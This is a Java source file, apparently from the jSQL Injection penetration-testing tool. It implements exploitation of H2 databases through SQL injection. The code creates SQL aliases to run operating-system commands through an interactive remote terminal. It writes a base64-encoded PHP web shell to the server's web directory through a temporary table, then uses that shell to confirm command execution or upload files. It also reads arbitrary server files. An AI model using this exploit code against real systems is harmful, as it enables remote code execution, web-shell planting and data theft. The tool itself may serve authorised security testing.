1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.engine.h2.ModelYamlH2;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.view.subscriber.Seal;
9 import com.jsql.model.exception.AbstractSlidingException;
10 import com.jsql.model.exception.JSqlException;
11 import com.jsql.model.exception.JSqlRuntimeException;
12 import com.jsql.model.suspendable.SuspendableGetRows;
13 import com.jsql.util.LogLevelUtil;
14 import com.jsql.util.StringUtil;
15 import org.apache.commons.lang3.RandomStringUtils;
16 import org.apache.commons.lang3.StringUtils;
17 import org.apache.logging.log4j.LogManager;
18 import org.apache.logging.log4j.Logger;
19 import org.yaml.snakeyaml.Yaml;
20
21 import java.io.File;
22 import java.io.FileInputStream;
23 import java.io.IOException;
24 import java.io.InputStream;
25 import java.net.http.HttpResponse;
26 import java.util.UUID;
27 import java.util.function.BinaryOperator;
28
29 public class ExploitH2 {
30
31 private static final Logger LOGGER = LogManager.getRootLogger();
32 private final InjectionModel injectionModel;
33 private final ModelYamlH2 modelYaml;
34
35 public ExploitH2(InjectionModel injectionModel) {
36 this.injectionModel = injectionModel;
37 var yaml = new Yaml();
38 this.modelYaml = yaml.loadAs(
39 injectionModel.getMediatorEngine().getH2().instance().getModelYaml().getResource().getExploit(),
40 ModelYamlH2.class
41 );
42 }
43
44 public void createUdf() throws JSqlException {
45 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
46
47 this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
48 this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
49 var result = this.injectionModel.getResourceAccess().getResult(String.format(
50 this.modelYaml.getRce().getRunCmd(),
51 ResourceAccess.WEB_CONFIRM_CMD +"%20"
52 ), ResourceAccess.RUN_FUNC);
53 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
54 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
55 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
56 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitH2().runRce(command, terminalID)
57 ));
58 }
59 }
60
61 public String runRce(String command, UUID uuidShell) {
62 String result;
63 try {
64 result = this.injectionModel.getResourceAccess().getResult(String.format(
65 this.modelYaml.getRce().getRunCmd(),
66 command.replace(StringUtils.SPACE, "%20")
67 ), ResourceAccess.RUN_FUNC);
68 } catch (JSqlException e) {
69 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
70 }
71 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
72 uuidShell,
73 result.trim() +"\n"
74 ));
75 return result;
76 }
77
78 public String createWeb(String pathExploit, String urlExploit) {
79 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
80
81 String bodyExploit = StringUtil.base64Decode(
82 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
83 )
84 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
85 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
86
87 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
88 this.injectionModel.injectWithoutIndex(String.format(
89 this.modelYaml.getRce().getCreateTable(),
90 nameTable,
91 nameTable, bodyExploit.replace("'", "\"")
92 ), ResourceAccess.TBL_CREATE);
93 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
94 this.injectionModel.injectWithoutIndex(String.format(
95 this.modelYaml.getRce().getScriptSimple(),
96 pathExploit + nameExploit,
97 nameTable
98 ), ResourceAccess.TBL_DUMP);
99
100 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
101 String result = this.injectionModel.getResourceAccess().callCommand(
102 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
103 );
104 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
105 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
106 return StringUtils.EMPTY;
107 }
108 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
109 return urlSuccess;
110 };
111
112 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
113 }
114
115 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
116 String bodyExploit = StringUtil.base64Decode(
117 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
118 )
119 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
120 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
121
122 var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
123 this.injectionModel.injectWithoutIndex(String.format(
124 this.modelYaml.getRce().getCreateTable(),
125 nameTable,
126 nameTable, bodyExploit.replace("'", "\"")
127 ), ResourceAccess.TBL_CREATE);
128 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
129 this.injectionModel.injectWithoutIndex(String.format(
130 this.modelYaml.getRce().getScriptSimple(),
131 pathExploit + nameExploit,
132 nameTable
133 ), ResourceAccess.TBL_DUMP);
134
135 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
136 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
137 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
138 if (result.body().contains(DataAccess.LEAD +"y")) {
139 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
140 } else {
141 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
142 }
143 } catch (InterruptedException e) {
144 LOGGER.log(LogLevelUtil.IGNORE, e, e);
145 Thread.currentThread().interrupt();
146 } catch (IOException | JSqlException e) {
147 throw new JSqlRuntimeException(e);
148 }
149 return urlSuccess;
150 };
151
152 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
153 }
154
155 public String getRead(String pathFile) throws AbstractSlidingException {
156 return new SuspendableGetRows(this.injectionModel).run(
157 String.format(
158 this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
159 pathFile
160 ),
161 new String[]{ StringUtils.EMPTY },
162 false,
163 1,
164 MockElement.MOCK,
165 ResourceAccess.FILE_READ
166 );
167 }
168
169 public ModelYamlH2 getModelYaml() {
170 return this.modelYaml;
171 }
172 }